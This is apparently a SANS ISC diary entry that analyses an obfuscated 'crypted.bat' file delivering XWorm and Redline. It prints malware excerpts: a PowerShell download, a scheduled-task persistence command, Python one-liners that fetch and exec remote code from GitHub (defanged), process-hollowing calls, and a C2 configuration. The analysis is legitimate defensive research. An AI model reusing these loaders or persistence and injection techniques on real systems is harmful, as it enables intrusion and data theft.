My next class:

From Highly Obfuscated Batch File to XWorm and Redline

Published: 2024-08-26. Last Updated: 2024-08-26 07:01:14 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

If you follow my diaries, you probably already know that one of my favorite topics around malware is obfuscation. I'm often impressed by the crazy techniques attackers use to make reverse engineers' lives more difficult. Last week, I spotted a file called "crypted.bat" (SHA256: 453c017e02e6ce747d605081ad78bf210b3d0004a056d1f65dd1f21c9bf13a9a) which is detected by no antivirus according to VT[1]. It deserved to be investigated!

When you open the file in a text editor, you see this:

The Byte order mark[2] is the first widespread technique used by the attacker. In this case, UTF-16 (LE) was used (0xFFFE):

remnux@remnux:/MalwareZoo/20240820$ xxd crypted.bat | head -3
00000000: fffe 2543 576b 4941 7a6f 7825 3e25 7855  ..%CWkIAzox%>%xU
00000010: 7147 4f63 5425 257a 6341 796d 6d70 6325  qGOcT%%zcAymmpc%
00000020: 6e25 6763 5a53 704a 5065 2525 5243 7361  n%gcZSpJPe%%RCsa

If you convert the file into plain ASCII, you get this:

%CWkIAzox%>%xUqGOcT%%zcAymmpc%n%gcZSpJPe%%RCsaTkgh%u%NrajlITIN%%FlosuXBh%l%UHWpNytD% %eVMEqNU%2%cfsrQUQzB%%PJakTgn%>%RefSuAz%%SkEtfgeM%&%eSIxMAoMy%%UTYiweX%1%wIwqYvcY% %ZPVOxQb%&%tySQLj
i%%YpbVsTD%&%LowuPzVsi% %dlyCzql%e%WdsbYAngD%%JAVuRTqx%x%qRAdGofXf%%ZlNPHhZ%i%BIHqMIv%%qAEKZwGsL%t%HCJPkwM% %HrmxKzzju%>%tgEGchZJ%%RPgxTsDqd%n%fOSlmwo%%AfRBXJVMr%u%wwuwslz%%ICSPyFU%l%mp
dRSphJ% %ZynhxMK%2%DZjctPXH%%htGVgFpRM%>%SnuoRzrG%%bZgjFPGkJ%&%ZhtxeHp%%AkxdtiEx%1%fusLDeh% %QCHPHPX%|%kohylBV%%yJLIMIwFw%|%DeRJrLcp% %EvtJHRMln%c%xaarmMe%%akERTuAI%l%QojqolGI%%TunxPoBA
A%s%rjpMfvI% 

%oapTJQevr%@%WHKNkqk%%oqzVsZQ%e%YmNqtkd%%vdiHhTxI%c%xMvUDbmC%%WCXXQkQk%h%nueJqFl%%fMndPeG%o%WaNiIDzh% %uJeRwam%o%JdBMKkK%%cRDqoXWq%f%YfipIdy%%EOiCmnjqu%f%jtWAxPYHA% 
%KzhGwGvJY%s%QMjCtXlpm%%KLXvhlX%^%zbASMkOKb%%MSoRIhosJ%e%oiRdjsAM%%IYWQOGT%t%JuxdyvMM% %nHqJvNFE%/%wJWtubVi%%jRBLVAoKa%^%zotsNYeS%%PKAAtOj%a%lHbOqSQm% %gTRLvMIMh%a%TmYGqwITr%%tFWNDgGm%^
%HAuoqhl%%AahyDuxE%n%brEAKhct%%sPaerVhD%S%PCCfCoV%%xyJnQmpg%=%xyZBFKb%%kgvpqle%0%igJPWFJh%%kHhywwZhj%3%OgmwBJPPO%%xWNiFhcNY%*%ospxJKsVH%%HWwoAYL%0%hqdGiiwS%%NosePdt%x%sTHZaRBmB%%SlmnYHf
%3%EOZLOFflT%%VXgbmxUG%*%MPiWIOc%%kHUfmXe%0%MgkaPLhRY%%wZoyEHqhH%5%rQetBwquH%%eMdBPIjJ%*%oGzpdzdJc%%MPOdsiZQ%0%ruVOBkYqU%%KjFXrbbXb%3%GrywQPHa%%ApGTvfdw%5%hMcgXYFI%%nDAyneTR%*%QkVbhgwb%
%ZlaxGFxhP%0%hVSWhhsi%%NFxCEiojT%x%avtVZdgT%%zOJsMdsiV%9%mIYjXPjXp%%XBPOHkzQR%7%TVTavXb% 
%zhDxhLixO%g%WqOitSUcP%%waQfbbZX%o%bYhMmYRJ%%JaLqJhJGK%^%wQcImER%%NjFttczP%t%zNQwEPG%%jckticUQ%^%SJHNHIEd%%QpgXMaZU%O%LYuYeAj% %TIMyhIah%;%kGMHyct% %FQiUhRT%,%wflaxcBC%%xGVWyGydK%,%Ozsp
pQsYA%%jlFOQAm%;%fiDRSuVM% %anS%  
:519609  

%DgVWcoR%s%ZoIFCLprt%%NntCxCm%e%NgFZpwn%%pyLYsOmAO%^%wdAjOvn%%FFANelC%t%vVpMctJn% %ALLnvmHl%/%mFxhErB%%zqQlKRs%a%myJtTSMTo% %PXuVWTw%a%fFQUkrEpq%%cYZxExF%^%xyNKacYxS%%OWQkNHdZN%N%GbQyEV
Znc%%JxWlmKWiu%^%gpPMNUTz%%cnJkBEKME%S%nyQCCeW%%stOmRCyRR%=%lljWlaa%%MUJYsuW%2%dIgZDUB%%zKFhHQaX%*%qbSVGOmT%%wpkFVpUhQ%2%VeqoxYWD%%SlQwVpsX%*%mBJzSHuCR%%bxXgukkg%2%zSxetVaPj%%kGQLxTcxY%
*%hDmfydQ%%OoXhDbZj%2%ZuhkxkEp%%xITWbJnYV%*%FXnJHNc%%ixLinKshS%0%DnoYFgL%%fSqOFgB%5%Xapkdbgb%%LxvKpZFaN%*%ePDNvAP%%AFDBLDAG%0%oYYBmwfe%%Qdiujzov%2%lWWUzOnsT%%SlVybcJx%3%xZiUqrR%%mlzpecC
pj%*%xCQyduGrX%%oAbeUiyIE%(%QeZtONu%%ZcgvICAx%0%nhOmDybFj%%jjUoKBsu%6%fkjNdnHSc%%UGcGIqN%2%owehgYFDL%%FUwxiPOW%0%ikcPJSh%%pKQMamsY%^%PCQNlJF%%MbIYdjP%^%NmCLQGrsA%%uLrORben%0%wOOPMHXa%%e
bFjSHOd%x%DdLTfYUW%%eFUkTQXc%8%PlNXoGxZ%%iZoIjTGWG%b%hPytbQcp%%wOoGCuJ%)%qMzNOpWLK% 
%EYUngJPBb%g%xtyhGUl%%RUGmrEQws%^%RRahjnG%%coXzOZPxy%O%znjAGFDUI%%TNHDTjQ%t%buwgVewv%%EhyQGHFA%^%MRCzzkdFZ%%PXScpQWPR%O%mDzExmBGg% %aEXetltkX%;%XRCvjYb% %NEAOkHpfx%,%Scqfgqhl%%nexdrDtk%
;%GqOiFqUN%%rQyHZCT%;%lXGsxpKk%%PtFrFcYDl%,%GNEWsWFT% %AnS%  
:512015  

It still hurts! The second obfuscation technique is the use of empty environment variables (%xxx%). When Windows interprets this batch file, any empty (non-existing) variable will be simply ignored. Let's get rid of them using a simple regular expression:

remnux@remnux:/MalwareZoo/20240820$ sed -E "s/%\w{5,}%//g" crypted-ascii.bat | head -10
>nul 2>&1 && exit >nul 2>&1 || cls 

@echo off 
s^et /^a a^nS=03*0x3*05*035*0x97 
go^t^O ; ,,; %anS%  
:519609  

se^t /a a^N^S=2*2*2*2*05*023*(0620^^0x8b) 
g^Ot^O ; ,;;, %AnS%  

We start to understand the code but still hard to read! The script will compute "addresses" where to jump based on "goto" instructions and labels:

C:\Users\REM\Desktop>s^et /^a a^nS=03*0x3*05*035*0x97
197055

The script will generate labels on the fly and jump forward and backward in the script to perform its malicious activities:

set /a anS=03*0x3*05*035*0x97
gotO ; ,,; 197055
set /a ans=0x3*(0545^036)*(0750^041)
goto 519609
set /a aNS=2*2*2*2*05*023*(0620^0x8b)
gOtO ; ,;;, 430160
for /L %n in (87 87 87) do (set "i=a"  )
(set "i=a"  )
set /a ans=05*07*~-14630
goto 512015
set /a aNs=0x11*045*(0343^0x1be)
goTo ; ; ; 219521
for /L %x in (792 792 792) do (set "j=b"  )
(set "j=b"  )
set /a ans=2*05*0x5*(0x5621^0x1ce2)
goto 956950
set /a ans=2*0xb*027*((0x170^0x18c8)>>3)
gOto , ; 416438
for /L %l in (579 579 579) do (set "k=c"  )
(set "k=c"  )
set /a ans=0x200*05*~-282
goto 719360
set /a anS=2*2*05*(0xdf47^0x7c3c)
goto ; , 837020
for /L %l in (783 783 783) do (set "l=d"  )
(set "l=d"  )

The next commands will be reconstructed by creating more environment variables! This is pretty difficult to analyze. Let's speed up a bit. 

Many batch files on Windows close their window once completed. To prevent this, here is a quick tip. First, re-enable the display of commands by removing the "@echo off" commands then run the scripts with a "cmd /k". This will prevent the window from being closed at the end of the script!

Once you execute the script, it's always good to keep an eye on the system activity. Here, we will face a nice lists of processes:

Let's review some capabilities of the script:

First, a static Python environment will be deployed:

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;
(New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/LoneNone1807/RedAV/raw/main/Python310.zip', [System.IO.Path]::GetTempPath() + 'Python310.zip') "

Persistence will be implemented via a scheduled task:

$s = $payload = "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZ ... (removed) ... uZGVjb2RlKCd1dGYtOCcpKSk='))";
$obj = New-Object -ComObject WScript.Shell;
$link = $obj.CreateShortcut("$env:LOCALAPPDATA\WindowsSecurity.lnk");
$link.WindowStyle = 7;
$link.TargetPath = "$env:LOCALAPPDATA\Programs\Python\Python310\pythonw.exe";
$link.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13";
$link.Arguments = "-c `"$payload`"";
$link.Save() "

Followed by:

schtasks /create /tn "Windows Security" /sc ONLOGON /tr "C:\Users\admin\AppData\Local\WindowsSecurity.lnk" /rl HIGHEST /f

The Python code will be re-executed at every logon. Let's have a look at it:

import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('hxxps://raw[.]githubusercontent[.]com/LoneNone1807/martin/main/xclient-enc').read().decode('utf-8')))remnux@remnux:/mnt/hgfs/MalwareZoo/20240820$ cat foo
import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('hxxps://raw[.]githubusercontent[.]com/LoneNone1807/martin/main/redline-enc').read().decode('utf-8')))

Just by reading the URLs, you can guess what will be delivered next! Both files are the same, let's check the first one deeper. The Base64-decoded payload is another heavily obfuscated Python code:

remnux@remnux:/MalwareZoo/20240820$ base64dump.py -s 1 -d xclient-enc | head -20
__7757181224032 = 0
__7757181224032 += 1
try:
    raise MemoryError(__7757181224032)
except MemoryError as __6869620366740:
    if __6869620366740.args[0] == 1:
        globals()['R_E_D__A_V_______'] = bool if bool(bool(bool(bool))) < bool(type(int(141) > int(136) < int(917) > int(914))) and bool(str(str(12) > int(1914) < int(135) > int(1213))) > 2 else bool
    if __6869620366740.args[0] == 3:
        __2756301777751 = 183678491109303
    if __6869620366740.args[0] == 4:
        __3230546755142 = 108555631585962
    if __6869620366740.args[0] == 5:
        __7482691456924 = 132970063103483
__2177051061499 = 0
__2177051061499 += 1
try:
    raise MemoryError(__2177051061499)
except MemoryError as __2341209797439:
    if __2341209797439.args[0] == 1:
        globals()['R_E_D__A_V______'] = str if bool(bool(bool(str))) < bool(type(int(1119) > int(712) < int(39) > int(34))) and bool(str(str(174) > int(1712) < int(173) > int(513))) > 2 else str

The obfuscation technique used is based on try/except exception handling. But not all the code has been obfuscated and it's easy to understand the purpose of the script:

remnux@remnux:/mnt/hgfs/MalwareZoo/20240820$ grep 'kernel32\.' foo 
       kernel32.VirtualAllocEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD, DWORD]
       kernel32.VirtualAllocEx.restype = LPVOID
       kernel32.WriteProcessMemory.argtypes = [HANDLE, LPVOID, LPCVOID, SIZE_T, POINTER(SIZE_T)]
       kernel32.WriteProcessMemory.restype = BOOL
       kernel32.CreateRemoteThread.argtypes = [HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD]
       kernel32.CreateRemoteThread.restype = HANDLE
       kernel32.VirtualProtectEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD, LPDWORD]
       kernel32.VirtualProtectEx.restype = BOOL
       kernel32.CreateProcessA.argtypes = [LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, POINTER(STARTUPINFO), POINTER(PROCESS_INFORMATION)]
       kernel32.CreateProcessA.restype = BOOL
       kernel32.QueueUserAPC.argtypes = [PAPCFUNC, HANDLE, POINTER(ULONG)]
       kernel32.QueueUserAPC.restype = BOOL
       kernel32.ResumeThread.argtypes = [HANDLE]
       kernel32.ResumeThread.restype = BOOL

The Python script will use all the API calls required to perform a classic code injection using the process hollowing technique! 

Indeed, we can see that a random process will be created in suspended mode to be hollowed (the code has been beautified):

is_created = kernel32.CreateProcessA(None, b'C:\\Windows\\System32\\' + random.choice([b'svchost.exe', b'notepad.exe', b'lsass.exe', b'winlogon.exe', b'sihost.exe', b'taskhostw.exe', b'fontdrvhost.exe', b'wbem\\WmiPrvSE.exe', b'RuntimeBroker.exe', b'conhost.exe', b'audiodg.exe', b'cmd.exe', b'smartscreen.exe', b'SecurityHealthSystray.exe', b'calc.exe', b'ping.exe', b'mspaint.exe', b'mstsc.exe', b'dwm.exe', b'spoolsv.exe', b'wuauclt.exe', b'SearchIndexer.exe', b'MusNotifyIcon.exe', b'WindowsPowerShell\\v1.0\\powershell.exe']), None, None, (lambda: (lambda _113: _113 - (lambda: ______R_E_D__A_V_______((lambda: R_E_D__A_V(b'R_E_D__A_V__wx'))()))())((lambda: R_E_D__A_V(b'R_E_D__A_V__'))()) == (lambda: R_E_D__A_V(b'R_E_D__A_V__\x01'))())(), CREATE_SUSPENDED | CREATE_NO_WINDOW, None, None, byref(startup_info), byref(process_info))

Note that the target process will be selected randomly from the list of "safe" processes!

Once the process is created and hollowed, malicious code will be injected. To find this payload, let's have a look at WriteProcessMemory:

is_written = kernel32.WriteProcessMemory(process_info.hProcess, remote_memory_address, buf, len(buf), byref(bytes_written))

The variable "buf" is populated above with a download from an obfuscated URL:

buf = base64.b64decode(urllib.request.urlopen("hxxps://raw[.]githubusercontent[.]com/LoneNone1807/martin/main/XClient.b64")

The same technique will be used to create a process to run the Redline malware.

The XWorm config is:

{
  "C2": "15[.]235[.]176[.]64:7000",
  "Keys":
    "AES": "<123456789>"
  },
  "Options":
    "Splitter": "<Xwormmm>",
    "Sleep time": "3",
    "USB drop name": "XWorm V5.6",
    "Mutex": "5stMCVxSzALOfTCK"
  }
}

[1] https://www.virustotal.com/gui/file/453c017e02e6ce747d605081ad78bf210b3d0004a056d1f65dd1f21c9bf13a9a
[2] https://en.wikipedia.org/wiki/Byte_order_mark

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
My next class:

Comments


Diary Archives